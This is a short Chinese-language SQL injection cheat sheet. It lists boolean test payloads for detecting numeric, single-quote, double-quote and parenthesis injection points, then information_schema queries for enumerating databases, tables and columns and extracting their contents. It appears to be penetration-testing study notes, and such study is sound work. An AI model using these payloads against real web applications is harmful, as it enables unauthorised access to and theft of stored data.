## **测试注入点是否存在** **1、id = 1 异常** ``` id = 1 and 1 =1 -- + 正确 id = 1 and 1=2 -- + 错误 ``` 结论：极有可能存在数字型SQL注入 ps:单引号有个特殊的作用：命令分隔符 **2、id = 1' 异常** ``` id = 1' and 1 =1 -- + 正确 id = 1' and 1=2 -- + 错误 ``` 结论：极有可能存在单引号字符型SQL注入 **3、id = 1" 异常** ``` id = 1" and 1 =1 -- + 正确 id = 1" and 1=2 -- + 错误 ``` 结论：极有可能存在双引号字符型SQL注入 **4、id = 1) 异常** ``` id = 1) and 1 =1 -- + 正确 id = 1) and 1=2 -- + 错误 ``` 结论：极有可能存在括号数字型SQL注入 ## **猜数据库** ``` select schema_name from information_schema.schemata ``` ## **猜某库的数据表** ``` select table_name from information_schema.tables where table_schema=’xxxxx’ ``` ## **猜某表的所有列** ``` Select column_name from information_schema.columns where table_name=’xxxxx’ ``` ## **获取某列的内容** ``` Select *** from **** ```